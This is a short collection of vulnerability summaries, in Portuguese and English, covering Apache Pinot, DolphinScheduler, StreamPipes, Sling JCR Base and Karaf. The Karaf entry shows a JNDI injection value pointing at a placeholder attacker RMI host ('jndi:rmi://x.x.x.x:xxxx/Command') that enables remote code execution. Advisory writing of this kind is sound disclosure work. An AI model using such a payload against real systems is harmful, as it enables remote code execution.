Xun Bai

A vulnerabilidade afeta o Apache Pinot, permitindo a exposição de informações confidenciais a agentes não autorizados. Quando uma solicitação é feita para o caminho `/appconfigs`, isso pode levar à divulgação de informações do sistema, informações do ambiente e configurações do Pinot. Essa vulnerabilidade foi corrigida com a implementação do Controle de Acesso Baseado em Funções (RBAC), que permite o controle de acesso ao endpoint `/appConfigs` e a outras APIs, restringindo o acesso apenas a usuários autorizados.

Existe uma vulnerabilidade de leitura e gravação de arquivos no Apache DolphinScheduler, permitindo que usuários autenticados acessem ilegalmente arquivos de recursos adicionais.

A REST interface in Apache StreamPipes was not properly restricted to admin-only access. This allowed a non-admin user with valid login credentials to elevate privileges beyond the initially assigned roles.

The issue is related to a critical injection vulnerability in Apache Sling JCR Base when running on old JDK versions, specifically JDK 1.8.191 or earlier. This vulnerability occurs through utility functions in RepositoryAccessor, particularly the `getRepository` and `getRepositoryFromURL` functions, which allow an application to access data stored in a remote location via JDNI and RMI.

Este problema diz respeito a uma potencial injeção de código quando um invasor tem controle do servidor LDAP alvo usando a URL JDBC JNDI. A função `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` utiliza `InitialContext.lookup(jndiName)` sem filtragem. Um usuário pode modificar `options.put(JDBCUtils.DATASOURCE, “osgi:” + DataSource.class.getName());` para `options.put(JDBCUtils.DATASOURCE,“jndi:rmi://x.x.x.x:xxxx/Command”);` em `JdbcLoginModuleTest#setup`. Isso é vulnerável a um ataque de execução remota de código (RCE) quando uma configuração usa uma URI de fonte de dados JNDI LDAP e um invasor tem controle do servidor LDAP de destino.